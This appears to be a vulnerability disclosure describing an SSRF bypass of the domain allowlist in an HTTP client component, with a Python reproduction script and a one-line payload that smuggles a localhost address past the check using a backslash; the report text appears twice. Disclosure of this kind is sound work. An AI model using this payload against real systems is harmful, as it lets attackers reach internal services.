Summary
The URL checking logic in _is_domain_allowed has a logical flaw that could be bypassed by attackers, leading to SSRF attacks.
Details
The _make_request function validates the URL to be requested using _is_domain_allowed before sending the request.
The specific validation logic uses urlparse to parse the netloc portion of the URL and compares it with a whitelist. Only URLs that match the whitelist or end with a URL from the whitelist pass the validation.
However, there are indeed differences in parsing between urlparse and the library that actually sends the request.For example, for http://127.0.0.1:6666\@.whitelist.com, the netloc parsed by urlparse is 127.0.0.1:6666\@.whitelist.com, which is a URL ending with a whitelist, and therefore will pass the validation.
_make_request sends a request via requests.get, treating backslashes () as forwards (/). This means that for http://127.0.0.1:6666\@.whitelist.com, it will actually request http://127.0.0.1:6666/@.whitelist.com, bypassing existing whitelist checks and allowing attackers to request arbitrary addresses, thus enabling SSRF attacks.
I have successfully reproduced the vulnerability locally.
from __future__ import annotations
import importlib.util
import json
import sys
import types
from pathlib import Path
from typing import Any
def _install_minimal_forge_stubs() -> None:
forge_mod = types.ModuleType("forge")
agent_mod = types.ModuleType("forge.agent")
components_mod = types.ModuleType("forge.agent.components")
protocols_mod = types.ModuleType("forge.agent.protocols")
command_mod = types.ModuleType("forge.command")
models_mod = types.ModuleType("forge.models")
json_schema_mod = types.ModuleType("forge.models.json_schema")
utils_mod = types.ModuleType("forge.utils")
exceptions_mod = types.ModuleType("forge.utils.exceptions")
class ConfigurableComponent:
def __class_getitem__(cls, _item: Any) -> type["ConfigurableComponent"]:
return cls
def __init__(self, config: Any = None):
if config is None and hasattr(self, "config_class"):
self.config = self.config_class()
else:
self.config = config
class CommandProvider:
pass
class DirectiveProvider:
pass
class Command:
pass
def command(*_args: Any, **_kwargs: Any):
def decorator(func):
return func
return decorator
class JSONSchema:
class Type:
STRING = "string"
OBJECT = "object"
INTEGER = "integer"
def __init__(self, **kwargs: Any):
self.kwargs = kwargs
class HTTPError(Exception):
def __init__(
self,
message: str,
status_code: int | None = None,
url: str | None = None,
):
super().__init__(message)
self.status_code = status_code
self.url = url
components_mod.ConfigurableComponent = ConfigurableComponent
protocols_mod.CommandProvider = CommandProvider
protocols_mod.DirectiveProvider = DirectiveProvider
command_mod.Command = Command
command_mod.command = command
json_schema_mod.JSONSchema = JSONSchema
exceptions_mod.HTTPError = HTTPError
sys.modules["forge"] = forge_mod
sys.modules["forge.agent"] = agent_mod
sys.modules["forge.agent.components"] = components_mod
sys.modules["forge.agent.protocols"] = protocols_mod
sys.modules["forge.command"] = command_mod
sys.modules["forge.models"] = models_mod
sys.modules["forge.models.json_schema"] = json_schema_mod
sys.modules["forge.utils"] = utils_mod
sys.modules["forge.utils.exceptions"] = exceptions_mod
def _load_http_client_module(project_root: Path):
http_client_path = (
project_root / "classic" / "forge" / "forge" / "components" / "http_client" / "http_client.py"
).resolve()
if not http_client_path.exists():
raise FileNotFoundError(f"http_client file not found: {http_client_path}")
_install_minimal_forge_stubs()
spec = importlib.util.spec_from_file_location("minimal_http_client", http_client_path)
if spec is None or spec.loader is None:
raise RuntimeError("Failed to create module spec for http_client.py")
module = importlib.util.module_from_spec(spec)
spec.loader.exec_module(module)
return module
def main() -> None:
project_root = Path(__file__).resolve().parent
module = _load_http_client_module(project_root)
HTTPClientComponent = module.HTTPClientComponent
HTTPClientConfiguration = module.HTTPClientConfiguration
client = HTTPClientComponent(
HTTPClientConfiguration(
allowed_domains=["whitelist.com"],
default_timeout=15,
)
)
result = client._make_request(
method="GET",
# url="http://127.0.0.1:6666\@.whitelist.com",
url="http://127.0.0.1:6666",
headers={"Accept": "application/json"},
params={"source": "autogpt_test"},
timeout=10,
)
print("Request success:")
print(json.dumps(result, indent=2, ensure_ascii=False))
if __name__ == "__main__":
main()
When we configure the whitelist to whitelist.com, if an attacker wants to request http://127.0.0.1:6666, it will obviously be rejected because it is not a URL in the whitelist.
However, when the attacker uses http://127.0.0.1:6666\@.whitelist.com, the existing whitelist detection is successfully bypassed, and the attacker successfully carries out an SSRF attack.
PoC
http://127.0.0.1:6666\@.whitelist.com
Impact
SSRF
Summary
The URL checking logic in
_is_domain_allowedhas a logical flaw that could be bypassed by attackers, leading to SSRF attacks.Details
The
_make_requestfunction validates the URL to be requested using_is_domain_allowedbefore sending the request.The specific validation logic uses urlparse to parse the netloc portion of the URL and compares it with a whitelist. Only URLs that match the whitelist or end with a URL from the whitelist pass the validation.
However, there are indeed differences in parsing between urlparse and the library that actually sends the request.For example, for
http://127.0.0.1:6666\@.whitelist.com, the netloc parsed by urlparse is127.0.0.1:6666\@.whitelist.com, which is a URL ending with a whitelist, and therefore will pass the validation._make_requestsends a request via requests.get, treating backslashes () as forwards (/). This means that forhttp://127.0.0.1:6666\@.whitelist.com, it will actually requesthttp://127.0.0.1:6666/@.whitelist.com, bypassing existing whitelist checks and allowing attackers to request arbitrary addresses, thus enabling SSRF attacks.I have successfully reproduced the vulnerability locally.
When we configure the whitelist to
whitelist.com, if an attacker wants to requesthttp://127.0.0.1:6666, it will obviously be rejected because it is not a URL in the whitelist.However, when the attacker uses
http://127.0.0.1:6666\@.whitelist.com, the existing whitelist detection is successfully bypassed, and the attacker successfully carries out an SSRF attack.PoC
Impact
SSRF